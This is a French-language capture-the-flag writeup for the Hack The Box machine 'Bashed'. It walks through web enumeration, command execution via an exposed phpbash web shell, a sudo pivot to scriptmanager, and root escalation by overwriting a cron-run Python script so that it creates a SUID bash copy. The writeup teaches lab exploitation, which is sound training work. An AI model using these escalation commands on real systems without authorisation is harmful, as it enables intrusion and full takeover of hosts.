Introduction
La machine Bashed de Hack The Box, classée HTB Easy, repose sur une compromission progressive à partir d’un service web exposé.
L’énumération montre uniquement un serveur HTTP. En explorant le site, tu découvres un shell en ligne de commande PHP accessible directement depuis le répertoire /dev/. Cette interface permet d’exécuter des commandes système via le navigateur et donne un premier accès en tant que www-data.
La suite consiste à analyser les droits locaux de www-data afin d’identifier un changement de contexte possible. Un droit sudo permet ensuite d’exécuter des commandes en tant que scriptmanager et d’accéder à un script Python modifiable, exécuté régulièrement avec les privilèges de root.
Dans ce writeup, tu vas voir comment :
- énumérer proprement la surface web exposée ;
- identifier et utiliser le shell PHP exposé ;
- passer de
www-dataàscriptmanagervia sudo ; - comprendre le rôle du répertoire
/scripts; - exploiter l’exécution automatique d’un script par
root; - terminer l’escalade avec un Bash SUID.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Avant de lancer les scans, vérifie que le nom d’hôte bashed.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x bashed.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap bashed.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt bashed.htb
Nmap scan report for bashed.htb (10.129.x.x)
Host is up (0.042s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 9.00 seconds
Scan FTP/SMB
Après le scan initial, le script vérifie la présence éventuelle de services FTP ou SMB afin de lancer une énumération ciblée si nécessaire :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :
# mon-nmap — ENUM FTP / SMB
# Target : bashed.htb
# Date : [date]
Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 80
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Ce scan fournit des informations détaillées sur les services et versions détectés.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour bashed.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "bashed.htb"
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt bashed.htb
Nmap scan report for bashed.htb (10.129.x.x)
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4, Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 57.59 ms 10.10.x.1
2 6.78 ms bashed.htb (10.129.x.x)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 10.84 seconds
Scan ciblé CMS
Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt bashed.htb
Nmap scan report for bashed.htb (10.129.x.x)
Host is up (0.0068s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
| http-headers:
| Date: [date]
| Server: Apache/2.4.18 (Ubuntu)
| Last-Modified: Mon, 04 Dec 2017 23:03:42 GMT
| ETag: "1e3f-55f8bbac32f80"
| Accept-Ranges: bytes
| Content-Length: 7743
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1; css: 1; html: 2
| /css/
| css: 5
| /images/
| gif: 1; png: 2
| /js/
| js: 8
| Longest directory structure:
| Depth: 1
| Dir: /js/
| Total files found (by extension):
|_ Other: 1; css: 6; gif: 1; html: 2; js: 8; png: 2
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| /dev/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| /php/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_ /uploads/: Potentially interesting folder
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 31.74 seconds
Scan UDP rapide
Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt bashed.htb
Warning: 10.129.x.x giving up on port because retransmission cap hit (6).
Nmap scan report for bashed.htb (10.129.x.x)
Host is up (0.012s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp open|filtered msrpc
137/udp closed netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp open|filtered ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 10.15 seconds
Énumération des chemins web
Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb .
mon-recoweb bashed.htb
# Résultats dans le répertoire scans_recoweb/
# - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes
# - scans_recoweb/dirb.log
# - scans_recoweb/dirb_hits.txt
# - scans_recoweb/ffuf_dirs.txt
# - scans_recoweb/ffuf_dirs_hits.txt
# - scans_recoweb/ffuf_files.txt
# - scans_recoweb/ffuf_files_hits.txt
# - scans_recoweb/ffuf_dirs.json
# - scans_recoweb/ffuf_files.json
Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, ce qui évite de devoir parcourir l’ensemble des logs générés.
===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script : mon-recoweb v2.2.3
Cible : bashed.htb
Périmètre : /
Date début : [date]
Commandes exécutées (exactes) :
[dirb — découverte initiale]
dirb http://bashed.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/bashed.htb/dirb.log
[ffuf — énumération des répertoires]
ffuf -u http://bashed.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/bashed.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/bashed.htb/ffuf_dirs.log
[ffuf — énumération des fichiers]
ffuf -u http://bashed.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/bashed.htb/ffuf_files.json 2>&1 | tee scans_recoweb/bashed.htb/ffuf_files.log
Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
• répertoires (/chemin/)
• fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
garantissant la reproductibilité complète du scan.
----------------------------------------------------
=== Résultat global (agrégé) ===
http://bashed.htb/about.html (CODE:200|SIZE:8193)
http://bashed.htb/. (CODE:200|SIZE:7743)
http://bashed.htb/config.php (CODE:200|SIZE:0)
http://bashed.htb/contact.html (CODE:200|SIZE:7805)
http://bashed.htb/css/
http://bashed.htb/css/ (CODE:301|SIZE:306)
http://bashed.htb/dev/
http://bashed.htb/dev/ (CODE:301|SIZE:306)
http://bashed.htb/fonts/
http://bashed.htb/fonts/ (CODE:301|SIZE:308)
http://bashed.htb/.htaccess.bak (CODE:403|SIZE:298)
http://bashed.htb/.htaccess (CODE:403|SIZE:294)
http://bashed.htb/.htc (CODE:403|SIZE:289)
http://bashed.htb/.ht (CODE:403|SIZE:288)
http://bashed.htb/.htgroup (CODE:403|SIZE:293)
http://bashed.htb/.htm (CODE:403|SIZE:289)
http://bashed.htb/.html (CODE:403|SIZE:290)
http://bashed.htb/.htpasswd (CODE:403|SIZE:294)
http://bashed.htb/.htpasswds (CODE:403|SIZE:295)
http://bashed.htb/.htuser (CODE:403|SIZE:292)
http://bashed.htb/images/
http://bashed.htb/images/ (CODE:301|SIZE:309)
http://bashed.htb/index.html (CODE:200|SIZE:7743)
http://bashed.htb/js/
http://bashed.htb/js/ (CODE:301|SIZE:305)
http://bashed.htb/php/
http://bashed.htb/php/ (CODE:301|SIZE:306)
http://bashed.htb/.php (CODE:403|SIZE:289)
http://bashed.htb/server-status (CODE:403|SIZE:298)
http://bashed.htb/server-status/ (CODE:403|SIZE:298)
http://bashed.htb/style.css (CODE:200|SIZE:24164)
http://bashed.htb/uploads/
http://bashed.htb/uploads/ (CODE:301|SIZE:310)
http://bashed.htb/wp-forum.phps (CODE:403|SIZE:298)
=== Détails par outil ===
[DIRB]
http://bashed.htb/css/
http://bashed.htb/dev/
http://bashed.htb/fonts/
http://bashed.htb/images/
http://bashed.htb/index.html (CODE:200|SIZE:7743)
http://bashed.htb/js/
http://bashed.htb/php/
http://bashed.htb/server-status (CODE:403|SIZE:298)
http://bashed.htb/uploads/
[FFUF — DIRECTORIES]
http://bashed.htb/css/ (CODE:301|SIZE:306)
http://bashed.htb/dev/ (CODE:301|SIZE:306)
http://bashed.htb/fonts/ (CODE:301|SIZE:308)
http://bashed.htb/images/ (CODE:301|SIZE:309)
http://bashed.htb/js/ (CODE:301|SIZE:305)
http://bashed.htb/php/ (CODE:301|SIZE:306)
http://bashed.htb/server-status/ (CODE:403|SIZE:298)
http://bashed.htb/uploads/ (CODE:301|SIZE:310)
[FFUF — FILES]
http://bashed.htb/about.html (CODE:200|SIZE:8193)
http://bashed.htb/. (CODE:200|SIZE:7743)
http://bashed.htb/config.php (CODE:200|SIZE:0)
http://bashed.htb/contact.html (CODE:200|SIZE:7805)
http://bashed.htb/.htaccess.bak (CODE:403|SIZE:298)
http://bashed.htb/.htaccess (CODE:403|SIZE:294)
http://bashed.htb/.htc (CODE:403|SIZE:289)
http://bashed.htb/.ht (CODE:403|SIZE:288)
http://bashed.htb/.htgroup (CODE:403|SIZE:293)
http://bashed.htb/.htm (CODE:403|SIZE:289)
http://bashed.htb/.html (CODE:403|SIZE:290)
http://bashed.htb/.htpasswd (CODE:403|SIZE:294)
http://bashed.htb/.htpasswds (CODE:403|SIZE:295)
http://bashed.htb/.htuser (CODE:403|SIZE:292)
http://bashed.htb/index.html (CODE:200|SIZE:7743)
http://bashed.htb/.php (CODE:403|SIZE:289)
http://bashed.htb/style.css (CODE:200|SIZE:24164)
http://bashed.htb/wp-forum.phps (CODE:403|SIZE:298)
Recherche de vhosts
Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .
=== mon-subdomains bashed.htb START ===
Script : mon-subdomains
Version : mon-subdomains 2.0.1
Date : [date]
Domaine : bashed.htb
IP : 10.129.x.x
Mode : large
Master : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes : 200,301,302,401,403 (strict=1)
VHOST totaux : 0
- (aucun)
--- Détails par port ---
Port 80 (http)
Baseline#1: code=200 size=7743 words=397 (Host=45uyks2po9.bashed.htb)
Baseline#2: code=200 size=7743 words=397 (Host=v84leqpj0b.bashed.htb)
Baseline#3: code=200 size=7743 words=397 (Host=88l1vi8d9e.bashed.htb)
VHOST (0)
- (fuzzing sauté : wildcard probable)
- (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)
=== mon-subdomains bashed.htb END ===
Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.
Prise pied
Identification du shell PHP exposé
L’énumération web montre que le site présente le projet phpbash.

Le texte de la page indique que cet outil permet d’exécuter des commandes système directement depuis le navigateur, sans passer par une connexion SSH ou un reverse shell classique.
Sur cette machine, la prise de pied ne repose donc pas sur l’exploitation d’une application complexe. Le point clé est de retrouver où ce shell PHP a été laissé accessible sur le serveur web.
La découverte du répertoire /dev/ permet ensuite d’accéder au fichier suivant :
http://bashed.htb/dev/phpbash.php

En ouvrant cette page dans le navigateur, tu obtiens une console web permettant d’exécuter des commandes côté serveur.
Exécution de commandes en tant que www-data
Depuis l’interface phpbash, tu vérifies le contexte d’exécution :
whoami
id
pwd

Les commandes sont exécutées avec l’utilisateur du serveur web :
www-data
Le répertoire courant correspond au dossier dans lequel se trouve phpbash :
/var/www/html/dev
À ce stade, l’accès obtenu n’est pas un shell SSH classique, mais il permet déjà d’exécuter des commandes sur la machine avec les droits de www-data.
Tu peux alors commencer l’énumération locale depuis ce contexte.
Si une commande ne renvoie rien immédiatement dans
phpbash, n’hésite pas à rafraîchir la page puis à la relancer.
Exploration des répertoires utilisateurs
Tu consultes le contenu de /home :
ls -la /home
La sortie montre deux répertoires utilisateurs :
total 16
drwxr-xr-x 4 root root 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
drwxr-xr-x 4 arrexel arrexel 4096 Jun 2 2022 arrexel
drwxr-xr-x 3 scriptmanager scriptmanager 4096 Dec 4 2017 scriptmanager
Deux comptes locaux sont donc visibles :
arrexelscriptmanager
Tu explores d’abord le répertoire de arrexel, qui correspond au compte utilisateur principal visible dans /home :
ls -la /home/arrexel
Résultat :
total 32
drwxr-xr-x 4 arrexel arrexel 4096 Jun 2 2022 .
drwxr-xr-x 4 root root 4096 Dec 4 2017 ..
lrwxrwxrwx 1 root root 9 Jun 2 2022 .bash_history -> /dev/null
-rw-r--r-- 1 arrexel arrexel 220 Dec 4 2017 .bash_logout
-rw-r--r-- 1 arrexel arrexel 3786 Dec 4 2017 .bashrc
drwx------ 2 arrexel arrexel 4096 Dec 4 2017 .cache
drwxrwxr-x 2 arrexel arrexel 4096 Dec 4 2017 .nano
-rw-r--r-- 1 arrexel arrexel 655 Dec 4 2017 .profile
-rw-r--r-- 1 arrexel arrexel 0 Dec 4 2017 .sudo_as_admin_successful
-r--r--r-- 1 arrexel arrexel 33 Jun 15 01:17 user.txt
Le fichier user.txt est lisible depuis le contexte www-data. Tu peux donc récupérer le flag utilisateur :
cat /home/arrexel/user.txt
6ef1xxxxxxxxxxxxxxxxxxxxxxxx7ddd
Le flag utilisateur est obtenu depuis le shell web exécuté en tant que www-data.
Vérification des droits sudo
L’étape suivante consiste à vérifier si l’utilisateur www-data dispose de droits sudo particuliers.
sudo -l
La sortie indique que www-data peut exécuter des commandes en tant que l’utilisateur et le groupe scriptmanager, sans mot de passe :
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Le droit sudo obtenu ne donne pas directement un accès root. En revanche, il permet de quitter le simple contexte web www-data pour exécuter des commandes avec l’identité de scriptmanager :
sudo -u scriptmanager id
La sortie confirme l’exécution de la commande avec l’identité de scriptmanager :
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
Comme ce compte dispose de son propre répertoire dans /home, l’étape logique consiste maintenant à refaire une énumération locale avec ses droits. L’objectif est de repérer les fichiers et répertoires auxquels scriptmanager a accès, et qui n’étaient pas forcément visibles ou exploitables depuis www-data.
À partir de ce point, les commandes d’énumération sont donc lancées avec l’identité de scriptmanager.
Escalade de privilèges
Énumération avec les droits de scriptmanager
Tu refais maintenant une énumération locale avec l’identité de scriptmanager.
La première recherche vise les fichiers et répertoires appartenant à cet utilisateur :
sudo -u scriptmanager find / -user scriptmanager -ls
La sortie est très verbeuse, notamment à cause de nombreux chemins liés à /proc.
Pour obtenir un résultat plus lisible, tu relances la recherche en excluant /proc :
sudo -u scriptmanager find / -path /proc -prune -o -user scriptmanager -ls
La sortie contient encore des erreurs de permissions. Tu ajoutes donc une redirection des erreurs vers /dev/null, puis tu filtres les lignes liées à scriptmanager :
sudo -u scriptmanager find / -path /proc -prune -o -user scriptmanager -ls 2>/dev/null | grep scriptmanager
Cette énumération fait ressortir notamment les éléments suivants :
drwxr-xr-x 2 scriptmanager scriptmanager 4096 Dec 4 2017 /scripts
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 /scripts/test.py
drwxr-xr-x 3 scriptmanager scriptmanager 4096 Dec 4 2017 /home/scriptmanager
Le répertoire /scripts n’est donc pas deviné : il ressort directement de l’énumération effectuée avec les droits de scriptmanager.
Analyse du répertoire /scripts
Tu inspectes ensuite le contenu du répertoire /scripts :
sudo -u scriptmanager ls -la /scripts
La sortie montre deux fichiers intéressants :
total 16
drwxr-xr-x 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root [date] 01:20 test.txt
Le fichier test.py appartient à scriptmanager. Grâce à la règle sudo vers cet utilisateur, tu peux donc lire et modifier ce fichier.
Tu affiches son contenu :
sudo -u scriptmanager cat /scripts/test.py
Le script Python est très simple :
f = open("test.txt", "w")
f.write("testing 123!")
f.close()
Il écrit une chaîne de caractères dans un fichier nommé test.txt.
Le chemin utilisé dans le script est relatif :
f = open("test.txt", "w")
Or, dans /scripts, le fichier test.txt appartient à root :
-rw-r--r-- 1 root root [date] 01:20 test.txt
C’est un indice fort : le chemin relatif utilisé par le script correspond au fichier test.txt présent dans /scripts, et ce fichier appartient à root.
Vérification de l’exécution régulière
Pour vérifier ce comportement sans outil supplémentaire, tu observes l’horodatage du fichier /scripts/test.txt :
sudo -u scriptmanager ls -l /scripts/test.txt
Après environ une minute, tu relances la même commande :
sudo -u scriptmanager ls -l /scripts/test.txt
L’horodatage change, tandis que le fichier reste détenu par root.
Cette observation confirme un premier point important : test.py est exécuté régulièrement. Le propriétaire root de test.txt indique en plus que cette exécution se fait probablement dans un contexte privilégié.
Comme test.py appartient à scriptmanager, tu peux le modifier avec la règle sudo identifiée précédemment. Il reste maintenant à confirmer précisément le contexte dans lequel ce script est exécuté.
Preuve d’exécution avec les droits root
Avant d’utiliser ce comportement pour l’escalade, tu peux faire une preuve simple, limitée à l’écriture d’un fichier dans /tmp.
L’idée est de remplacer temporairement test.py par une commande qui écrit le résultat de id dans /tmp/test_poc.txt.
Tu modifies le script avec les droits de scriptmanager :
sudo -u scriptmanager bash -c 'printf "import os\nos.system(\"/usr/bin/id > /tmp/test_poc.txt\")\n" > /scripts/test.py'
Après environ une minute, tu vérifies le fichier créé dans /tmp :
ls -l /tmp/test_poc.txt
Suivi de :
cat /tmp/test_poc.txt
Le fichier appartient à root et son contenu confirme l’exécution avec les droits root :
-rw-r--r-- 1 root root 39 [date] 01:24 /tmp/test_poc.txt
uid=0(root) gid=0(root) groups=0(root)
Cette preuve confirme le point important : scriptmanager peut modifier test.py et le script est exécuté par root.
Tu peux maintenant remplacer cette preuve de concept par la commande utile à l’escalade.
Exploitation avec un Bash SUID
L’objectif est de créer une copie de Bash capable d’exécuter des commandes avec les privilèges effectifs de root, sans modifier directement le binaire système /bin/bash.
Pour cela, tu vas utiliser le script /scripts/test.py, exécuté automatiquement par root, afin de copier Bash vers /tmp/bash_root, d’attribuer cette copie à root, puis de lui appliquer le bit SUID.
Dans phpbash, les commandes trop longues contenant plusieurs niveaux de guillemets, des séquences \n et des opérateurs && peuvent bloquer le shell web. Il est donc préférable de construire le fichier test.py progressivement avec plusieurs commandes simples.
Tu commences par remplacer son contenu par l’import du module os :
sudo -u scriptmanager bash -c 'echo "import os" > /scripts/test.py'
Tu ajoutes ensuite la commande qui copie /bin/bash vers /tmp/bash_root :
sudo -u scriptmanager bash -c 'echo "os.system('\''/bin/cp /bin/bash /tmp/bash_root'\'')" >> /scripts/test.py'
Puis tu attribues le fichier créé à root :
sudo -u scriptmanager bash -c 'echo "os.system('\''/bin/chown root:root /tmp/bash_root'\'')" >> /scripts/test.py'
Enfin, tu appliques le bit SUID avec la notation numérique 4755 :
sudo -u scriptmanager bash -c 'echo "os.system('\''/bin/chmod 4755 /tmp/bash_root'\'')" >> /scripts/test.py'
Cette méthode évite également l’utilisation du signe +, qui peut poser problème dans phpbash avec une commande comme chmod u+s.
Tu vérifies ensuite le contenu du script :
sudo -u scriptmanager cat /scripts/test.py
Le fichier doit maintenant contenir :
import os
os.system('/bin/cp /bin/bash /tmp/bash_root')
os.system('/bin/chown root:root /tmp/bash_root')
os.system('/bin/chmod 4755 /tmp/bash_root')
Ces commandes ne donnent pas immédiatement accès à root. Elles modifient uniquement le fichier test.py, qui appartient à scriptmanager.
L’élévation de privilèges se produit lorsque ce script est exécuté à nouveau dans son contexte privilégié. Il crée alors une copie de Bash dans /tmp, attribuée à root et munie du bit SUID.
Tu vérifies les permissions du fichier créé :
ls -l /tmp/bash_root
Lorsque le script a été exécuté, les permissions contiennent un s sur la partie utilisateur :
-rwsr-xr-x 1 root root 1113504 [date] [heure] /tmp/bash_root
Le s dans rws indique que /tmp/bash_root s’exécutera avec les privilèges effectifs de son propriétaire, ici root.
Lecture du flag root
Comme l’accès se fait depuis phpbash, tu évites d’ouvrir un shell interactif. Tu demandes directement à la copie SUID de Bash d’exécuter les commandes nécessaires.
L’option -p permet de conserver les privilèges effectifs obtenus grâce au bit SUID, tandis que l’option -c exécute la chaîne de commandes fournie :
/tmp/bash_root -p -c 'id; whoami; cat /root/root.txt'
La sortie montre que l’utilisateur réel reste www-data, mais que l’utilisateur effectif est bien root :
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
root
c27bxxxxxxxxxxxxxxxxxxxxxxxx9225
L’accès root est confirmé et le flag final est récupéré : la machine est terminée.
Conclusion
La machine Bashed illustre une chaîne d’exploitation simple mais très formatrice.
La prise de pied repose sur un shell en ligne de commande PHP laissé accessible depuis le site web. Cette exposition donne directement une exécution de commandes en tant que www-data, sans exploitation complexe.
L’escalade de privilèges montre ensuite l’importance de l’énumération locale. Le droit sudo vers scriptmanager ne donne pas directement root, mais il permet de modifier un script Python placé dans /scripts. La preuve d’exécution confirme ensuite que ce script est lancé avec les privilèges de root.
La modification de test.py permet finalement de rendre /bin/bash SUID, puis d’obtenir une exécution avec l’utilisateur effectif root.
Bashed reste une machine HTB Easy classique et efficace : peu de services exposés, une énumération web importante, un pivot utilisateur clair, puis une escalade basée sur les permissions locales et l’exécution régulière d’un script par root.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
